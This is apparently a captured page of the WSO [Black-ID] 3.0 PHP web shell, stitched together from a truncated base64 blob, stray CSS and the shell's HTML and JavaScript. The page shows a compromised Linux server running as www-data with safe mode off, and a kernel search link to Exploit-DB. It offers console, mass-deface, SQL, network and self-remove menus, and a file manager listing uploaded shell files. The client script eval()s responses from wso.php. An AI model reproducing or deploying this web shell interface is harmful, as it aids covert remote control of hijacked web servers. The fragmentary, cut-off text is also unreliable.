EQl08L2E+PC9ub2JyPjxicj4zMyAoIHd3dy1kYXRhICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAzMyAoIHd3dy1kYXRhICk8YnI+NS4zLjMtNytzcXVlZXplMTQgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gPGZvbnQgY29sb3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9mb250PiA8YSBocmVmPSMgb25jbGljaz0iZygnUGhwJyxudWxsLCcnLCdpbmZvJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+IDIwMTQtMDgtMDcgMjA6MjI6Mjg8YnI+My45MyBHQiA8c3Bhbj5GcmVlOjwvc3Bhbj4gMi44MCBHQiAoNzElKTxicj48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsIi8iKSc+LzwvYT48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsIi92YXIvIiknPnZhci88L2E+PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLCIvdmFyL3d3dy8iKSc+d3d3LzwvYT48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsIi92YXIvd3d3L3NoM2xsWi8iKSc+c2gzbGxaLzwvYT48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsIi92YXIvd3d3L3NoM2xsWi91cGxvYWRzaGVsbC8iKSc+dXBsb2Fkc2hlbGwvPC9hPiA8Zm9udCBjb2xvcj0jMDBCQjAwPmRyd3hyd3hyLXQ8L2ZvbnQ+IDxhIGhyZWY9IyBvbmNsaWNrPSJnKCdGaWxlc01hbicsJy92YXIvd3d3L3NoM2xsWi91cGxvYWRzaGVsbCcsJycsJycsJycpIj5bIGhvbWUgXTwvYT48YnI+PC90ZD48dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPjxvcHRpb24gdmFsdWU9IlVURi04IiA+VVRGLTg8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJXaW5kb3dzLTEyNTEiIHNlbGVjdGVkPldpbmRvd3MtMTI1MTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IktPSTgtUiIgPktPSTgtUjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IktPSTgtVSIgPktPSTgtVTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNwODY2IiA+Y3A4NjY8L29wdGlvbj48L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4xMC4wLjIuNjxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4xOTIuMTY4LjEuMTxicj48YSBocmVmPSJodHRwOi8vdy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZy5jb20vc2VhcmNoP3E9aXA6MTAuMC4yLjYiIHRhcmdldD1fYmxhbms+WyBCaW5nIF08L2E+IHwgPGEgaHJlZj0iaHR0cDovL3cuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmgub3JnL2FyY2hpdmUvaXA9MTAuMC4yLjYiIHRhcmdldD1fYmxhbms+WyBab25lLUggXTwvYT48YnI+PC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGggd2lkdGg9IjEwJSI+WzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ1NlY0luZm8nLG51bGwsJycsJycsJycpIj5TZWMuIEluZm88L2E+XTwvdGg+PHRoIHdpZHRoPSIxMCUiPls8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc01hbicsbnVsbCwnJywnJywnJykiPkZpbGVzPC9hPl08L3RoPjx0aCB3aWR0aD0iMTAlIj5bPGEgaHJlZj0iIyIgb25jbGljaz0iZygnQ29uc29sZScsbnVsbCwnJywnJywnJykiPkNvbnNvbGU8L2E+XTwvdGg+PHRoIHdpZHRoPSIxMCUiPls8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdNYXNzJyxudWxsLCcnLCcnLCcnKSI+TWFzczwvYT5dPC90aD48dGggd2lkdGg9IjEwJSI+WzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0RvbWFpbicsbnVsbCwnJywnJywnJykiPkRvbWFpbnM8L2E+XTwvdGg+PHRoIHdpZHRoPSIxMCUiPls8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdTcWwnLG51bGwsJycsJycsJycpIj5TcWw8L2E+XTwvdGg+PHRoIHdpZHRoPSIxMCUiPls8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdTYWZlTW9kZScsbnVsbCwnJywnJywnJykiPlNhZmUgbW9kZTwvYT5dPC90aD48dGggd2lkdGg9IjEwJSI+WzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ1N0cmluZ1Rvb2xzJyxudWxsLCcnLCcnLCcnKSI+U3RyaW5nIHRvb2xzPC9hPl08L3RoPjx0aCB3aWR0aD0iMTAlIj5bPGEgaHJlZj0iIyIgb25jbGljaz0iZygnTmV0d29yaycsbnVsbCwnJywnJywnJykiPk5ldHdvcms8L2E+XTwvdGg+PHRoIHdpZHRoPSIxMCUiPls8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdTZWxmUmVtb3ZlJyxudWxsLCcnLCcnLCcnKSI+U2VsZiByZW1vdmU8L2E+XTwvdGg+PC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij48aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD48c2NyaXB0PgoJZnVuY3Rpb24gc2EoKSB7CgkJZm9yKGk9MDtpPGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCWlmKGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykKCQkJCWRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkb2N1bWVudC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwoJfQo8L3NjcmlwdD4KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsbnVsbCwic19uYW1lXzAiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsbnVsbCwic19zaXplXzAiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsbnVsbCwic19tb2RpZnlfMCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsbnVsbCwic19wZXJtc18wIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSIuLiIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoJ0ZpbGVzTWFuJywnL3Zhci93d3cvc2gzbGxaL3VwbG9hZHNoZWxsLy4uJyk7Ij48Yj5bIC4uIF08L2I+PC9hPjwvdGQ+PHRkPmRpcjwvdGQ+PHRkPjIwMTItMDEtMjUgMTY6Mjc6MjY8L3RkPjx0ZD53ZWIvd3d3LWRhdGE8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZygnRmlsZXNUb29scycsbnVsbCwnLi4nLCdjaG1vZCcpIj48Zm9udCBjb2xvcj13aGl0ZT5kcnd4ci14ci14PC9mb250PjwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJy4uJywgJ3JlbmFtZScpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCcuLicsICd0b3VjaCcpIj5UPC9hPjwvdGQ+PC90cj48dHIgY2xhc3M9bDE+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9InBwbCIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoJ0ZpbGVzTWFuJywnL3Zhci93d3cvc2gzbGxaL3VwbG9hZHNoZWxsL3BwbCcpOyI+PGI+WyBwcGwgXTwvYj48L2E+PC90ZD48dGQ+ZGlyPC90ZD48dGQ+MjAxNC0wOC0wNyAyMDoxODowMDwvdGQ+PHRkPnd3dy1kYXRhL3d3dy1kYXRhPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3BwbCcsJ2NobW9kJykiPjxmb250IGNvbG9yPSMwMEJCMDA+ZHJ3eHIteHIteDwvZm9udD48L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCdwcGwnLCAncmVuYW1lJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3BwbCcsICd0b3VjaCcpIj5UPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9InVwbG9hZHNoZWxsLnBocCIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3VwbG9hZHNoZWxsLnBocCcsICd2aWV3JykiPnVwbG9hZHNoZWxsLnBocDwvYT48L3RkPjx0ZD45LjI1IEtCPC90ZD48dGQ+MjAxMi0wMS0yNSAxNjoxNzowNzwvdGQ+PHRkPndlYi93d3ctZGF0YTwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCd1cGxvYWRzaGVsbC5waHAnLCdjaG1vZCcpIj48Zm9udCBjb2xvcj13aGl0ZT4tcnctci0tci0tPC9mb250PjwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3VwbG9hZHNoZWxsLnBocCcsICdyZW5hbWUnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZygnRmlsZXNUb29scycsbnVsbCwndXBsb2Fkc2hlbGwucGhwJywgJ3RvdWNoJykiPlQ8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3VwbG9hZHNoZWxsLnBocCcsICdlZGl0JykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3VwbG9hZHNoZWxsLnBocCcsICdkb3dubG9hZCcpIj5EPC9hPjwvdGQ+PC90cj48dHIgY2xhc3M9bDE+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9Indzby5waHAiIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCd3c28ucGhwJywgJ3ZpZXcnKSI+d3NvLnBocDwvYT48L3RkPjx0ZD4yMy45MyBLQjwvdGQ+PHRkPjIwMTQtMDgtMDcgMjA6MTc6MjI8L3RkPjx0ZD53d3ctZGF0YS93d3ctZGF0YTwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCd3c28ucGhwJywnY2htb2QnKSI+PGZvbnQgY29sb3I9IzAwQkIwMD4tcnctci0tci0tPC9mb250PjwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3dzby5waHAnLCAncmVuYW1lJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3dzby5waHAnLCAndG91Y2gnKSI+VDwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZygnRmlsZXNUb29scycsbnVsbCwnd3NvLnBocCcsICdlZGl0JykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJ3dzby5waHAnLCAnZG93bmxvYWQnKSI+RDwvYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPTc+Cgk8aW5wdQ==
<link rel='shortcut icon' href='http://w...content-available-to-author-only...g.eu/favicon.ico'>
<style type='text/css'>
input[type=submit], input[type=button], input[type=reset]{
text-align:center;
background:url(http://i...content-available-to-author-only...c.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
padding:4px 6px;
margin:4px 5px;
height:16px;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
text-shadow:0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:23px;
}input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
background-position:center top;
text-decoration:none;
}
input[type=text], input[type=password]{
background:urlhttp://i...content-available-to-author-only...c.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:18px;
margin-left: 5px;
}
input , textarea , button , body , caption , table ,area , option {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}
input , textarea {
background: url('http://i...content-available-to-author-only...c.com/ibkmd5.png') repeat scroll 0 0 #333333;';
}
input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1); border: 1px solid #CCCC00; background: url('http://i...content-available-to-author-only...c.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}body{
/* font-family : Verdana; */
color : #f9f6f1;
font-size : 0.7em;
background: url(http://i...content-available-to-author-only...c.com/i56tc9.jpg) no-repeat center top #252525;
}
input , textarea {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
}
input:focus, textarea:focus {
outline: 0;
border-color: rgba(82, 168, 236, 0.8);
-webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
-moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
background: url('http://i...content-available-to-author-only...c.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;}
</style>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>active-layout.com:8006- WSO [Black-ID] 3.0</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '/var/www/sh3llZ/uploadshell/';
var a_ = 'FilesMan'
var charset_ = 'Windows-1251';
var p1_ = '';
var p2_ = '';
var p3_ = '';
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<document.mf.elements.length;i++)
params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
sr('/sh3llZ/uploadshell/wso.php', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form><table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux apache 3.2.0-53-generic-pae #81-Ubuntu SMP Thu Aug 22 21:23:47 UTC 2013 i686 <a href="http://www.google.com/search?q=Linux+apache+3.2.0-53-generic-pae+%2381-Ubuntu+SMP+Thu+Aug+22+21%3A23%3A47+UTC+2013+i686" target="_blank">[Google]</a> <a href="http://w...content-available-to-author-only...b.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+3.2.0-" target=_blank>[Exploit-DB]</a></nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>5.3.3-7+squeeze14 <span>Safe mode:</span> <font color=#00bb00><b>OFF</b></font> <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> 2014-08-07 20:22:28<br>3.93 GB <span>Free:</span> 2.80 GB (71%)<br><a href='#' onclick='g("FilesMan","/")'>/</a><a href='#' onclick='g("FilesMan","/var/")'>var/</a><a href='#' onclick='g("FilesMan","/var/www/")'>www/</a><a href='#' onclick='g("FilesMan","/var/www/sh3llZ/")'>sh3llZ/</a><a href='#' onclick='g("FilesMan","/var/www/sh3llZ/uploadshell/")'>uploadshell/</a> <font color=#00BB00>drwxrwxr-t</font> <a href=# onclick="g('FilesMan','/var/www/sh3llZ/uploadshell','','','')">[ home ]</a><br></td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset"><option value="UTF-8" >UTF-8</option><option value="Windows-1251" selected>Windows-1251</option><option value="KOI8-R" >KOI8-R</option><option value="KOI8-U" >KOI8-U</option><option value="cp866" >cp866</option></optgroup></select><br><span>Server IP:</span><br>10.0.2.6<br><span>Client IP:</span><br>192.168.1.1<br><a href="http://w...content-available-to-author-only...g.com/search?q=ip:10.0.2.6" target=_blank>[ Bing ]</a> | <a href="http://w...content-available-to-author-only...h.org/archive/ip=10.0.2.6" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr><th width="10%">[<a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a>]</th><th width="10%">[<a href="#" onclick="g('FilesMan',null,'','','')">Files</a>]</th><th width="10%">[<a href="#" onclick="g('Console',null,'','','')">Console</a>]</th><th width="10%">[<a href="#" onclick="g('Mass',null,'','','')">Mass</a>]</th><th width="10%">[<a href="#" onclick="g('Domain',null,'','','')">Domains</a>]</th><th width="10%">[<a href="#" onclick="g('Sql',null,'','','')">Sql</a>]</th><th width="10%">[<a href="#" onclick="g('SafeMode',null,'','','')">Safe mode</a>]</th><th width="10%">[<a href="#" onclick="g('StringTools',null,'','','')">String tools</a>]</th><th width="10%">[<a href="#" onclick="g('Network',null,'','','')">Network</a>]</th><th width="10%">[<a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a>]</th></tr></table><div style="margin:5"><h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script><script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == 'checkbox')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_0")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_0")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_0")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_0")'>Permissions</a></th><th>Actions</th></tr><tr><td><input type=checkbox name="f[]" value=".." class=chkbx></td><td><a href=# onclick="g('FilesMan','/var/www/sh3llZ/uploadshell/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2012-01-25 16:27:26</td><td>web/www-data</td><td><a href=# onclick="g('FilesTools',null,'..','chmod')"><font color=white>drwxr-xr-x</font></td><td><a href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr class=l1><td><input type=checkbox name="f[]" value="ppl" class=chkbx></td><td><a href=# onclick="g('FilesMan','/var/www/sh3llZ/uploadshell/ppl');"><b>[ ppl ]</b></a></td><td>dir</td><td>2014-08-07 20:18:00</td><td>www-data/www-data</td><td><a href=# onclick="g('FilesTools',null,'ppl','chmod')"><font color=#00BB00>drwxr-xr-x</font></td><td><a href="#" onclick="g('FilesTools',null,'ppl', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'ppl', 'touch')">T</a></td></tr><tr><td><input type=checkbox name="f[]" value="uploadshell.php" class=chkbx></td><td><a href=# onclick="g('FilesTools',null,'uploadshell.php', 'view')">uploadshell.php</a></td><td>9.25 KB</td><td>2012-01-25 16:17:07</td><td>web/www-data</td><td><a href=# onclick="g('FilesTools',null,'uploadshell.php','chmod')"><font color=white>-rw-r--r--</font></td><td><a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'download')">D</a></td></tr><tr class=l1><td><input type=checkbox name="f[]" value="wso.php" class=chkbx></td><td><a href=# onclick="g('FilesTools',null,'wso.php', 'view')">wso.php</a></td><td>23.93 KB</td><td>2014-08-07 20:17:22</td><td>www-data/www-data</td><td><a href=# onclick="g('FilesTools',null,'wso.php','chmod')"><font color=#00BB00>-rw-r--r--</font></td><td><a href="#" onclick="g('FilesTools',null,'wso.php', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'wso.php', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'wso.php', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'wso.php', 'download')">D</a></td></tr><tr><td colspan=7>
<inpu